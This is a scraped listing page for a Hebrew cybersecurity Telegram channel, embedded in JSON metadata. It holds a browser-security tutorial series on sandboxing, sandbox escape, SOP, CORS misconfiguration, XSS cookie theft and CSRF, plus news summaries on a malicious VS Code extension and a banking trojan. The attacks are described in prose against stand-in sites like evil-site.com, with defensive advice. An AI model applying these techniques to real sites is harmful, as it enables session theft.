Cyber & Code
Ir al canal en Telegram
ערוץ סייבר, AI ותכנות. חדשות, מדריכים ואתגרי OSINT. 💬 דיונים: @CyberSecuritycodingchat
Mostrar más674
Suscriptores
Sin datos24 horas
Sin datos7 días
Sin datos30 días
Archivo de publicaciones
\nמשתמש תמים צופה בדף התגובות. הדפדפן שלו מריץ את הסקריפט הזדוני.\nהסקריפט קורא את העוגיות באמצעות document.cookie ושולח אותן לשרת של התוקף.\nאם עוגיית הסשן לא הייתה מוגנת, התוקף כעת מחזיק בה ויכול להתחזות למשתמש.\nההגנה: הגדרת עוגיית הסשן עם הדגל HttpOnly. במצב זה, document.cookie לא יכיל את העוגייה, והסקריפט של התוקף לא יוכל לגשת אליה, מה שמנטרל את וקטור גניבת הסשן.\n\nהתקפה 2: Cross-Site Request Forgery (CSRF)\nיCSRF היא התקפה הגורמת לדפדפן של משתמש מחובר לבצע פעולה לא רצויה באתר אחר, ללא ידיעתו.\nתרחיש התקפה קלאסי (לפני הגנת SameSite):\nמשתמש מחובר לחשבון הבנק שלו באתר bank.com.\nהמשתמש גולש לאתר זדוני evil-site.com.\nבאתר הזדוני יש קוד הנטען ברקע, למשל טופס נסתר ששולח בקשת POST לביצוע העברה בנקאית\nהדפדפן שולח את הבקשה ל-bank.com. מכיוון שהבקשה מיועדת לדומיין של הבנק, הדפדפן מצרף אליה אוטומטית את עוגיית הסשן של המשתמש.\nשרת הבנק מקבל בקשה שנראית לגיטימית לחלוטין (עם עוגיית סשן תקינה) ומבצע את ההעברה.\nההגנה: הגדרת עוגיית הסשן עם SameSite=Lax (או Strict). כאשר הדגל הזה פעיל, הדפדפן לא ישלח את העוגייה בבקשת ה-POST הזו, מכיוון שהיא התחילה מאתר אחר (evil-site.com). הבקשה תגיע לשרת הבנק ללא אימות, ותידחה.","datePublished":"2025-07-13T10:58:56Z","dateModified":"2025-07-13T10:58:56Z","author":{"@type":"Organization","name":"Cyber & Code","url":"https://telemetr.io/es/channels/2431608956-cybersecuritycoding","image":"https://img.telemetr.io/c/2EyMzi/5983272709489626618?ty=x"},"publisher":{"@type":"Organization","name":"Cyber & Code","url":"https://telemetr.io/es/channels/2431608956-cybersecuritycoding","image":"https://img.telemetr.io/c/2EyMzi/5983272709489626618?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":219},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":2},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":3}]}},{"@type":"ListItem","position":12,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/es/channels/2431608956-cybersecuritycoding/posts/258","url":"https://telemetr.io/es/channels/2431608956-cybersecuritycoding/posts/258","mainEntityOfPage":"https://telemetr.io/es/channels/2431608956-cybersecuritycoding/posts/258","headline":"התצורה הנכונה היא להגדיר \"רשימה לבנה\" (whitelist) של המקורות המורשים באופן מפורש: Access-Control-Allow-Origin…","articleBody":"התצורה הנכונה היא להגדיר \"רשימה לבנה\" (whitelist) של המקורות המורשים באופן מפורש:\nAccess-Control-Allow-Origin: https://app.my-service.com\n\n📝 סיכום והקדמה:\nמדיניות המקור הזהה (SOP) היא עמוד תווך באבטחת ווב, המספקת בידוד בסיסי בין אתרים. CORS הוא המנגנון המבוקר להרפיית מגבלות אלו. קונפיגורציה לא נכונה של CORS, ובמיוחד שימוש ב-*, מהווה פרצת אבטחה קריטית המאפשרת גניבת נתונים.\n\nבפוסט הבא בסדרה, נצלול לעולם העוגיות (Cookies) והאחסון בצד הלקוח. נבין איך אתרים \"זוכרים\" אותנו, מהן תכונות האבטחה החשובות של עוגיות (כמו HttpOnly ו-SameSite), וכיצד הן קשורות להתקפות קלאסיות כמו XSS ו-CSRF.\n\nשאלות? הערות טכניות? אני כאן בתגובות! 👇\nהצטרפו לערוץ @CYBERSECURITYCODING","datePublished":"2025-07-11T11:23:54Z","dateModified":"2025-07-11T11:23:54Z","author":{"@type":"Organization","name":"Cyber & Code","url":"https://telemetr.io/es/channels/2431608956-cybersecuritycoding","image":"https://img.telemetr.io/c/2EyMzi/5983272709489626618?ty=x"},"publisher":{"@type":"Organization","name":"Cyber & Code","url":"https://telemetr.io/es/channels/2431608956-cybersecuritycoding","image":"https://img.telemetr.io/c/2EyMzi/5983272709489626618?ty=x"},"commentCount":2,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":212},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":2},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":3},{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":2}]}},{"@type":"ListItem","position":13,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/es/channels/2431608956-cybersecuritycoding/posts/257","url":"https://telemetr.io/es/channels/2431608956-cybersecuritycoding/posts/257","mainEntityOfPage":"https://telemetr.io/es/channels/2431608956-cybersecuritycoding/posts/257","headline":"סדרת פוסטים: מנגנוני האבטחה של הדפדפן | פוסט 2: מדיניות המקור הזהה (Same-Origin Policy) בפוסט הקודם, דנו ברמת…","articleBody":"סדרת פוסטים: מנגנוני האבטחה של הדפדפן | פוסט 2: מדיניות המקור הזהה (Same-Origin Policy)\nבפוסט הקודם, דנו ברמת התשתית: כיצד הדפדפן מבודד תהליכים באמצעות Sandboxing כדי להגן על מערכת ההפעלה. כעת נעלה שכבה אחת למעלה, ונדון במנגנון האבטחה הבסיסי ביותר של עולם הווב עצמו: מדיניות המקור הזהה (Same-Origin Policy, או SOP).\nאם פתחתם טאב של הבנק שלכם וטאב של אתר חדשות, כיצד הדפדפן מוודא שסקריפט מאתר החדשות לא יכול לקרוא את יתרת החשבון שלכם מהטאב השני? התשובה טמונה ב-SOP.\n\n📜 רקע תיאורטי: הגדרת גבולות בעולם הווב\nמהו \"מקור\" (Origin)?\nלפני שנבין את המדיניות, עלינו להגדיר במדויק מהו \"מקור\". מקור מוגדר על ידי שילוב של שלושה רכיבים של כתובת ה-URL:\nסכמה (Scheme): הפרוטוקול, למשל http או https.\nשם מארח (Hostname): הדומיין, למשל www.google.com או api.example.org.\nפורט (Port): מספר הפורט של השרת, למשל 80 (ברירת המחדל ל-HTTP) או 443 (ברירת המחדל ל-HTTPS).\nשני URL נחשבים כבעלי אותו מקור רק אם כל שלושת הרכיבים זהים לחלוטין.\nדוגמאות להמחשה:\nנניח שהמקור שלנו הוא\n https://www.example.com\nhttp://www.example.com -> מקור שונה (סכמה אחרת: http במקום https).\nhttps://api.example.com -> מקור שונה (שם מארח אחר: api במקום www).\nhttps://www.example.com:8080 -> מקור שונה (פורט אחר: 8080 במקום 443 הנסתר).\nhttps://www.example.com/path/to/page.html -> אותו מקור (הנתיב עצמו אינו חלק מהגדרת המקור).\n\nהגדרת המדיניות (SOP)\nמדיניות המקור הזהה היא כלל אבטחה הנאכף על ידי הדפדפן, הקובע כברירת מחדל:\nסקריפט (למשל, קוד JavaScript) שנטען ממקור אחד, יכול לגשת למשאבים ולמידע רק מאותו המקור.\nהמשמעות היא שסקריפט מאתר A אינו יכול לבצע בקשת רשת (באמצעות XMLHttpRequest או fetch) לאתר B ולקרוא את התגובה. הדפדפן יחסום את הגישה לנתונים החוזרים.\nחשוב לדייק: SOP אינו חוסם את שליחת הבקשה. במקרים רבים, הבקשה תישלח לשרת של אתר B. מה שה-SOP חוסם הוא את הגישה של הסקריפט באתר A לתגובה שחזרה מהשרת.\nמדיניות זו חיונית להגנה על מידע רגיש. ללא SOP, כל אתר זדוני יכל \"לשאוב\" מידע מכל שירות אחר שאליו אתם מחוברים באותו הדפדפן, על ידי שליחת בקשות בשמכם (שכוללות את העוגיות שלכם) וקריאת התשובות.\n\n🔩 פרקטיקה: הצורך בתקשורת בין-מקורית ו-CORS\nבעולם הווב המודרני, הבנוי על מיקרו-שירותים ו-APIs, הכלל הנוקשה של SOP אינו מספק. לעיתים קרובות, יש צורך לגיטימי בתקשורת בין מקורות שונים. לדוגמה, אפליקציית רשת (Front-end) שרצה בדומיין https://app.my-service.com צריכה לגשת ל-API שזמין בדומיין https://api.my-service.com.\nכאן נכנס לתמונה מנגנון ה-CORS (Cross-Origin Resource Sharing).\n\nמהו CORS?\nיCORS הוא מנגנון סטנדרטי המאפשר לשרתים להרפות באופן מבוקר ממגבלות ה-SOP. הוא עובד באמצעות תוספת של כותרות (Headers) מסוימות לבקשות ולתגובות HTTP.\nתהליך בקשת CORS פשוטה:\nהדפדפן (ממקור A) שולח בקשה למשאב ממקור B. הדפדפן מוסיף אוטומטית לבקשה את הכותרת:\nOrigin: https://source-A.com\nהשרת במקור B מקבל את הבקשה, בודק את ערך הכותרת Origin, ומחליט אם לאשר את הבקשה על פי רשימת המקורות המורשים שלו.\nאם השרת מאשר את הבקשה, הוא מוסיף לתגובת ה-HTTP את הכותרת:\nAccess-Control-Allow-Origin: https://source-A.com\nהדפדפן מקבל את התגובה. אם הוא רואה את כותרת ה-Access-Control-Allow-Origin עם ערך התואם למקור של הבקשה, הוא מאפשר לסקריפט לגשת לנתונים שבתגובה. אם הכותרת חסרה או אינה תואמת, הדפדפן יחסום את הגישה לנתונים.\n\nסיכוני אבטחה בקונפיגורציה שגויה של CORS\nהכוח של CORS הוא גם מקור הסיכון שלו. קונפיגורציה שגויה עלולה לפתוח פרצות אבטחה חמורות. הטעות הנפוצה והמסוכנת ביותר היא שימוש בתו הכללי (wildcard):\nAccess-Control-Allow-Origin: *\n\nכותרת זו אומרת לדפדפן: \"אני מרשה לכל אתר באינטרנט לגשת לנתונים מהשרת הזה\".\nהתרחיש המסוכן:\nנניח ששירות ה-API שלכם בכתובת https://api.my-service.com מוגדר עם Access-Control-Allow-Origin: *.\nתוקף מקים אתר זדוני בכתובת https://evil-site.com.\nהוא שולח משתמש תמים (שמחובר לשירות שלכם) לאתר הזדוני.\nהסקריפט באתר הזדוני שולח בקשת fetch ל-API שלכם (https://api.my-service.com/get-user-data).\nהדפדפן של המשתמש שולח את הבקשה, ומצרף אליה אוטומטית את עוגיות האימות של המשתמש עבור api.my-service.com.\nה-API שלכם מזהה את המשתמש ומחזיר את המידע הפרטי שלו.\nמכיוון שה-API החזיר\n Access-Control-Allow-Origin: *, \nהדפדפן מאפשר לסקריפט באתר הזדוני לקרוא את התגובה, וכך המידע הפרטי של המשתמש נגנב.","datePublished":"2025-07-11T11:23:47Z","dateModified":"2025-07-11T11:23:47Z","author":{"@type":"Organization","name":"Cyber & Code","url":"https://telemetr.io/es/channels/2431608956-cybersecuritycoding","image":"https://img.telemetr.io/c/2EyMzi/5983272709489626618?ty=x"},"publisher":{"@type":"Organization","name":"Cyber & Code","url":"https://telemetr.io/es/channels/2431608956-cybersecuritycoding","image":"https://img.telemetr.io/c/2EyMzi/5983272709489626618?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":226},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":2},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":3}]}},{"@type":"ListItem","position":14,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/es/channels/2431608956-cybersecuritycoding/posts/256","url":"https://telemetr.io/es/channels/2431608956-cybersecuritycoding/posts/256","mainEntityOfPage":"https://telemetr.io/es/channels/2431608956-cybersecuritycoding/posts/256","headline":"סדרת פוסטים: מנגנוני האבטחה של הדפדפן | פוסט 1: ארכיטקטורה ובידוד תהליכים ברוכים הבאים לסדרת פוסטים על מנגנונ…","articleBody":"סדרת פוסטים: מנגנוני האבטחה של הדפדפן | פוסט 1: ארכיטקטורה ובידוד תהליכים\nברוכים הבאים לסדרת פוסטים על מנגנוני האבטחה הפנימיים של הדפדפן. בסדרה זו ננתח את שכבות ההגנה שמאפשרות גלישה בטוחה יחסית, ונבין כיצד הן פועלות וכיצד תוקפים מנסים לעקוף אותן.\nהיום נתחיל ברכיב הבסיסי ביותר במבנה הדפדפן המודרני: הארכיטקטורה מרובת התהליכים ומנגנון ה-Sandboxing.\n\n⚙️ רקע תיאורטי: המעבר מארכיטקטורה מונוליטית לריבוי-תהליכים\nבעבר, דפדפנים פעלו על בסיס ארכיטקטורה מונוליטית, כלומר כתהליך (Process) בודד. גישה זו יצרה בעיות יציבות ואבטחה משמעותיות:\nיציבות: קריסה של רכיב אחד, כמו פלאגין או קוד JavaScript באתר ספציפי, גרמה לקריסת כלל הדפדפן על כל חלונותיו.\nאבטחה: חולשת אבטחה שנוצלה באתר אחד יכלה פוטנציאלית לאפשר גישה לנתונים מכלל האתרים האחרים שהיו פתוחים באותו תהליך.\nכדי לפתור בעיות אלו, דפדפנים מודרניים עברו לארכיטקטורת ריבוי-תהליכים (Multi-process Architecture). במסגרת מודל זה, משימות הדפדפן מפוצלות בין מספר תהליכים עצמאיים:\n\nתהליך הדפדפן הראשי (Browser Process): זהו התהליך המרכזי, בעל רמת ההרשאה הגבוהה ביותר. הוא אחראי על ניהול ממשק המשתמש (UI), ניהול הרשאות (גישה למצלמה, מיקרופון, קבצים), וניהול כל שאר התהליכים. הוא אינו מעבד קוד מאתרי אינטרנט.\nתהליכי רינדור (Renderer Processes): לרוב, נוצר תהליך רינדור נפרד עבור כל אתר או טאב. תהליך זה אחראי על עיבוד קוד המגיע מהרשת (HTML, CSS, JavaScript) והצגתו למשתמש. מכיוון שהוא מריץ קוד לא אמין, הוא פועל תחת מגבלות אבטחה מחמירות.\nתהליכים נוספים: קיימים תהליכים ייעודיים נוספים, כמו תהליך GPU המטפל בתקשורת עם החומרה הגרפית, ותהליך רשת (Network Process) המרכז את כל התקשורת מול שרתים חיצוניים. בידוד זה תורם ליציבות ולאבטחה.\n\n📦 מנגנון ה-Sandbox\nמנגנון ה-Sandbox הוא קונספט אבטחה קריטי המיושם על תהליכי הרינדור. מדובר בסביבת הרצה מבודדת ומגבילה, שאוכפת את \"עקרון ההרשאה המינימלית\" (Principle of Least Privilege).\nלתהליך רינדור הפועל בתוך Sandbox אין גישה ישירה למשאבי מערכת ההפעלה:\nהוא אינו יכול לקרוא או לכתוב קבצים באופן ישיר.\nהוא אינו יכול ליצור חיבורי רשת ישירים.\nהוא אינו יכול לגשת לזיכרון של תהליכים אחרים.\nכל פעולה הדורשת הרשאה גבוהה יותר חייבת לעבור דרך תיווך של תהליך הדפדפן הראשי. התקשורת ביניהם מתבצעת באמצעות ערוץ מבוקר ומפוקח שנקרא IPC (Inter-Process Communication). למשל, כאשר המשתמש לוחץ על קישור להורדת קובץ, תהליך הרינדור שולח בקשת IPC לתהליך הראשי, והתהליך הראשי הוא זה שמבצע את פעולת הכתיבה לכונן, לאחר קבלת אישור מהמשתמש.\n\n📈 פרקטיקה: תקיפת Sandbox Escape\nבהינתן המגבלות של ה-Sandbox, מטרת התוקף היא למצוא דרך לעקוף אותן, בתהליך המכונה Sandbox Escape. זוהי בדרך כלל התקפה רב-שלבית:\nשלב 1: הרצת קוד מרחוק בתהליך הרינדור (Renderer RCE)\nבשלב הראשון, התוקף חייב להשיג יכולת להריץ קוד בתוך תהליך הרינדור. הוא עושה זאת על ידי ניצול חולשת אבטחה באופן עיבוד התוכן, למשל:\nחולשות במנוע ה-JavaScript: באגים כמו Type Confusion במנועי JIT (Just-In-Time).\nחולשות בספריות מדיה: באגים כמו Buffer Overflow בספריות המעבדות תמונות, פונטים או וידאו.\nבסיום שלב זה, קוד התוקף רץ, אך הוא עדיין מוגבל על ידי ה-Sandbox.\nשלב 2: הסלמת הרשאות (Privilege Escalation)\nכעת, הקוד הזדוני שרץ בתוך ה-Sandbox מנסה לנצל חולשה שנייה, הפעם במנגנון הבקרה עצמו, כדי לפרוץ את הבידוד. וקטורי התקיפה הנפוצים כוללים:\nחולשות במנגנון ה-IPC: ניצול באג באופן שבו תהליך הדפדפן הראשי מעבד בקשות מתהליך הרינדור.\nחולשות בקרנל (Kernel) של מערכת ההפעלה: ניצול באג באופן שבו הקרנל מטפל ב\"קריאת מערכת\" (syscall) ספציפית המותרת לתהליך שב-Sandbox. ניצול מוצלח יכול להוביל להשתלטות מלאה על המערכת.\nשרשרת ניצול (Exploit Chain) כזו היא מורכבת ובעלת ערך גבוה, והיא מהווה סיכון אבטחה חמור.\n\nהשלכה מעשית:\nההגנה היעילה ביותר של משתמשים נגד התקפות כאלו היא שמירה על דפדפן מעודכן. עדכוני אבטחה שמשחררות יצרניות הדפדפנים מכילים תיקונים לחולשות שעלולות לאפשר התקפות Sandbox Escape.\n\n📝 סיכום והקדמה:\nלסיכום, ארכיטקטורת ריבוי-התהליכים ומנגנון ה-Sandbox מהווים חלקים בסיסיים במודל האבטחה של הדפדפן. הם יוצרים בידוד בין רכיבים ומיישמים את עקרון ההרשאה המינימלית כדי להגביל נזק פוטנציאלי מקוד זדוני.\n\nבפוסט הבא בסדרה, נדון במנגנון הגנה מרכזי נוסף ברמת הווב: מדיניות המקור הזהה (Same-Origin Policy - SOP). נסביר מהי, כיצד היא מונעת גניבת מידע בין אתרים, ואילו מנגנונים קיימים כדי לאפשר תקשורת מבוקרת בין מקורות שונים.\nשאלות? הערות? שתפו בתגובות! 👇\nהצטרפו לערוץ @CYBERSECURITYCODING","datePublished":"2025-07-10T17:39:25Z","dateModified":"2025-07-10T17:39:25Z","author":{"@type":"Organization","name":"Cyber & Code","url":"https://telemetr.io/es/channels/2431608956-cybersecuritycoding","image":"https://img.telemetr.io/c/2EyMzi/5983272709489626618?ty=x"},"publisher":{"@type":"Organization","name":"Cyber & Code","url":"https://telemetr.io/es/channels/2431608956-cybersecuritycoding","image":"https://img.telemetr.io/c/2EyMzi/5983272709489626618?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":238},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":3},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":4}]}},{"@type":"ListItem","position":15,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/es/channels/2431608956-cybersecuritycoding/posts/255","url":"https://telemetr.io/es/channels/2431608956-cybersecuritycoding/posts/255","mainEntityOfPage":"https://telemetr.io/es/channels/2431608956-cybersecuritycoding/posts/255","headline":"🚨 מעצר דרמטי באיטליה: האקר סיני נעצר בחשד לריגול סייבר נרחב נגד ארה\"ב! 🇨🇳💻🇺🇸 👤 שמו של החשוד: Xu Zewei – מואשם…","articleBody":"🚨 מעצר דרמטי באיטליה: האקר סיני נעצר בחשד לריגול סייבר נרחב נגד ארה\"ב! 🇨🇳💻🇺🇸\n\n👤 שמו של החשוד: Xu Zewei – מואשם בפריצה למערכות של יותר מ־12,700 קורבנות, כולל מחקרי חיסונים רגישים 🧬💉 \n🕵️♂️ השתמש בפרצות Zero-Day ב־Microsoft Exchange כדי לחדור לרשתות – הכל כחלק מקמפיין ריגול סייבר עצום \n🌪️ לפי הדיווחים, פעל מטעם קבוצת הסייבר הסינית הנתמכת על ידי המדינה: Silk Typhoon (לשעבר Hafnium)\n\n🌍 המעצר התרחש באיטליה, לבקשת ארה\"ב – מהלך שעשוי להוביל להסגרה ולמשפט תקדימי בתחום פשיעת הסייבר הבינלאומית ⚖️\n\n📎 כל הפרטים כאן → https://thehackernews.com/2025/07/chinese-hacker-xu-zewei-arrested-for.html\n\n📲 רוצים להישאר מעודכנים על פרצות, מתקפות, כלים וטכניקות מהשטח? \nהצטרפו עכשיו לקבוצת הטלגרם שלנו – המקום שבו סייבר זה לא רק תחום, זה סגנון חיים: \n🔗 https://t.me/CyberSecurityCoding\n\nהעולם משתנה – תישארו צעד אחד לפני. 🧠🛡️","datePublished":"2025-07-10T14:44:10Z","dateModified":"2025-07-10T14:44:10Z","author":{"@type":"Organization","name":"Cyber & Code","url":"https://telemetr.io/es/channels/2431608956-cybersecuritycoding","image":"https://img.telemetr.io/c/2EyMzi/5983272709489626618?ty=x"},"publisher":{"@type":"Organization","name":"Cyber & Code","url":"https://telemetr.io/es/channels/2431608956-cybersecuritycoding","image":"https://img.telemetr.io/c/2EyMzi/5983272709489626618?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":214},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":2}]}},{"@type":"ListItem","position":16,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/es/channels/2431608956-cybersecuritycoding/posts/254","url":"https://telemetr.io/es/channels/2431608956-cybersecuritycoding/posts/254","mainEntityOfPage":"https://telemetr.io/es/channels/2431608956-cybersecuritycoding/posts/254","headline":"🔥🚨 עדכון אבטחה מסיבי ממיקרוסופט – חובה לכל ארגון ומשתמש! 🚨🔥 מיקרוסופט שחררה תיקון ל־130 חולשות אבטחה – ולראשו…","articleBody":"🔥🚨 עדכון אבטחה מסיבי ממיקרוסופט – חובה לכל ארגון ומשתמש! 🚨🔥 \nמיקרוסופט שחררה תיקון ל־130 חולשות אבטחה – ולראשונה מזה כמעט שנה, אף אחת מהן לא נוצלה בפועל על ידי תוקפים. חדשות טובות, אבל זה לא אומר שאפשר להירגע 😬\n\n🔴 פרצה אחת עם ציון 9.8 מתוך 10 נחשבת ל־Wormable – כלומר, תוקף יכול לנצל אותה כדי להתפשט בין מחשבים בלי צורך בהתערבות משתמש. מזכיר מאוד את מתקפת WannaCry המפורסמת מ־2017. \n🧠 פרצה נוספת ב־SQL Server מאפשרת דליפת זיכרון – מה שעלול לחשוף מידע רגיש כמו סיסמאות, מפתחות הצפנה או נתונים עסקיים. \n🧩 שאר התיקונים כוללים בעיות ב־Windows, Office, Azure, .NET ועוד – חלקם קריטיים במיוחד בסביבות ארגוניות.\n\n🛡️ מה עושים עכשיו? \n\nמריצים עדכונים בכל תחנות הקצה והשרתים \nבודקים התאמה של עדכונים לסביבות קריטיות \nעוקבים אחרי דיווחים על ניסיונות ניצול עתידיים\n\n\n📎 לפרטים המלאים ולרשימת החולשות → \nhttps://thehackernews.com/2025/07/microsoft-patches-130-vulnerabilities.html\n\n📲 רוצים להישאר מעודכנים בזמן אמת? \nלקבל כלים, קודים, טכניקות פריצה והגנה, ולדבר עם מומחים בתחום? \nהצטרפו עכשיו לקבוצת הטלגרם שלנו – הקהילה הכי חמה בסייבר: \n🔗 https://t.me/CyberSecurityCoding\n\nהגנה מתחילה בידע. אל תישארו מאחור. 💡🛡️","datePublished":"2025-07-09T16:42:18Z","dateModified":"2025-07-09T16:42:18Z","author":{"@type":"Organization","name":"Cyber & Code","url":"https://telemetr.io/es/channels/2431608956-cybersecuritycoding","image":"https://img.telemetr.io/c/2EyMzi/5983272709489626618?ty=x"},"publisher":{"@type":"Organization","name":"Cyber & Code","url":"https://telemetr.io/es/channels/2431608956-cybersecuritycoding","image":"https://img.telemetr.io/c/2EyMzi/5983272709489626618?ty=x"},"commentCount":1,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":243},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":1},{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":1}]}},{"@type":"ListItem","position":17,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/es/channels/2431608956-cybersecuritycoding/posts/253","url":"https://telemetr.io/es/channels/2431608956-cybersecuritycoding/posts/253","mainEntityOfPage":"https://telemetr.io/es/channels/2431608956-cybersecuritycoding/posts/253","headline":"🚨 אזהרה חמורה למפתחי את'ריום ו-Web3! תוסף פופולרי ל-VS Code לפיתוח חוזים חכמים נפרץ והוזרקו אליו שתי שורות קו…","articleBody":"🚨 אזהרה חמורה למפתחי את'ריום ו-Web3! \nתוסף פופולרי ל-VS Code לפיתוח חוזים חכמים נפרץ והוזרקו אליו שתי שורות קוד זדוניות בלבד—שמספיקות כדי להריץ סקריפטים מסתוריים דרך PowerShell 🖥️💣\n\n🔍 מה קרה בפועל?\n\nמפתח זדוני הגיש Pull Request עם שינוי קטן אך קטלני: שתי שורות קוד שהפעילו PowerShell ברקע.\nהקוד הוריד והפעיל סקריפטים חיצוניים ממקורות לא ידועים—מבלי שהמשתמשים הבחינו בכך.\nמעל 6,000 מפתחים התקינו את הגרסה הנגועה לפני שהבעיה התגלתה. 😱\n\n\n💰 מה הסיכון?\n\n🪙 גניבת מטבעות קריפטו דרך גישה לארנקים או מפתחות פרטיים\n🧪 הרעלת חוזים חכמים (Contract Poisoning) – שינוי קוד או הטמעת דלתות אחוריות\n📡 שליטה מרחוק על סביבת הפיתוח של הקורבן\n\n\n🛡️ איך להגן על עצמך?\n\nבדוק תמיד את היסטוריית השינויים (commits) וה-Pull Requests של תוספים שאתה מתקין.\nהשתמש בגרסאות חתומות ומאומתות בלבד.\nהגבל הרשאות ריצה של PowerShell או סקריפטים במערכת שלך.\nשקול להשתמש בסביבות פיתוח מבודדות (sandboxed) לפרויקטים רגישים.\n\n\n📎 לקריאה מלאה: \nThe Hacker News – Malicious Pull Request Infects 6,000+ Devs\n\n💬 רוצה להישאר מעודכן בפרצות, כלים וטכניקות הגנה? \n\nהצטרף עכשיו לקבוצת הטלגרם שלנו: \n👉 https://t.me/CyberSecurityCoding \nקהילה מקצועית, עדכונים בזמן אמת, וטיפים מעשיים לאבטחת קוד וסייבר! 🛡️👨💻","datePublished":"2025-07-08T19:45:47Z","dateModified":"2025-07-08T19:45:47Z","author":{"@type":"Organization","name":"Cyber & Code","url":"https://telemetr.io/es/channels/2431608956-cybersecuritycoding","image":"https://img.telemetr.io/c/2EyMzi/5983272709489626618?ty=x"},"publisher":{"@type":"Organization","name":"Cyber & Code","url":"https://telemetr.io/es/channels/2431608956-cybersecuritycoding","image":"https://img.telemetr.io/c/2EyMzi/5983272709489626618?ty=x"},"commentCount":2,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":238},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":2},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1},{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":2}]}},{"@type":"ListItem","position":18,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/es/channels/2431608956-cybersecuritycoding/posts/252","url":"https://telemetr.io/es/channels/2431608956-cybersecuritycoding/posts/252","mainEntityOfPage":"https://telemetr.io/es/channels/2431608956-cybersecuritycoding/posts/252","headline":"🚨 יותר מ-90,000 משתמשי אנדרואיד נדבקו בתוכנת זדון בנקאית דרך אפליקציית PDF מזויפת ב-Google Play! 📱💀 האפליקציה…","articleBody":"🚨 יותר מ-90,000 משתמשי אנדרואיד נדבקו בתוכנת זדון בנקאית דרך אפליקציית PDF מזויפת ב-Google Play! 📱💀\n\nהאפליקציה, שהתחזתה לכלי לקריאת קבצי PDF, טיפסה למקום הרביעי בקטגוריית הכלים (Tools) בחנות האפליקציות של גוגל – לפני שזוהתה והוסרה. 😱📉\n\n🔍 מה קרה בפועל?\n\nהאפליקציה הציגה מסכי \"תחזוקה\" מזויפים 🛠️ כדי להסתיר את פעילותה האמיתית.\nבזמן שהמשתמש חשב שהאפליקציה לא זמינה, היא פעלה ברקע כדי לגנוב פרטי התחברות לחשבונות בנק 🏦🔐.\nלאחר מכן, התוקפים יכלו לרוקן את החשבונות – מבלי שהמשתמש יבחין בכך 💸💸.\n\n\n🎯 מי הותקף?\n\nמשתמשים בארה״ב ובקנדה היו היעד העיקרי של ההונאה.\nהאפליקציה השתמשה בגרסה חדשה של סוס טרויאני בשם Anatsa, הידוע ביכולותיו לעקוף אימות דו-שלבי ולבצע העברות כספים אוטומטיות.\n\n\n🛡️ מה אפשר לעשות כדי להגן על עצמך?\n\nהימנע מהורדת אפליקציות לא מוכרות—even אם הן פופולריות או מדורגות גבוה.\nבדוק ביקורות משתמשים ודרוש הרשאות חשודות.\nהשתמש באימות דו-שלבי (2FA) ובאפליקציות אבטחה אמינות.\nעדכן את מערכת ההפעלה והאפליקציות שלך באופן קבוע 🔄.\n\n\n📎 לקריאה מלאה: The Hacker News – Anatsa Banking Trojan\n\n\n\n💬 הצטרפו לקבוצת הטלגרם שלנו לעדכונים חמים, כלים, וטיפים באבטחת מידע: \nhttps://t.me/CyberSecurityCoding \nקהילה מקצועית, ידע מעשי, והגנה אמיתית – במקום אחד! 🛡️👨💻","datePublished":"2025-07-08T18:50:20Z","dateModified":"2025-07-08T18:50:20Z","author":{"@type":"Organization","name":"Cyber & Code","url":"https://telemetr.io/es/channels/2431608956-cybersecuritycoding","image":"https://img.telemetr.io/c/2EyMzi/5983272709489626618?ty=x"},"publisher":{"@type":"Organization","name":"Cyber & Code","url":"https://telemetr.io/es/channels/2431608956-cybersecuritycoding","image":"https://img.telemetr.io/c/2EyMzi/5983272709489626618?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":205},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":5},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1}]}},{"@type":"ListItem","position":19,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/es/channels/2431608956-cybersecuritycoding/posts/251","url":"https://telemetr.io/es/channels/2431608956-cybersecuritycoding/posts/251","mainEntityOfPage":"https://telemetr.io/es/channels/2431608956-cybersecuritycoding/posts/251","headline":"נשמח שתכתבו לנו אזה נושא הבא אתם רוצים שנעשה לו 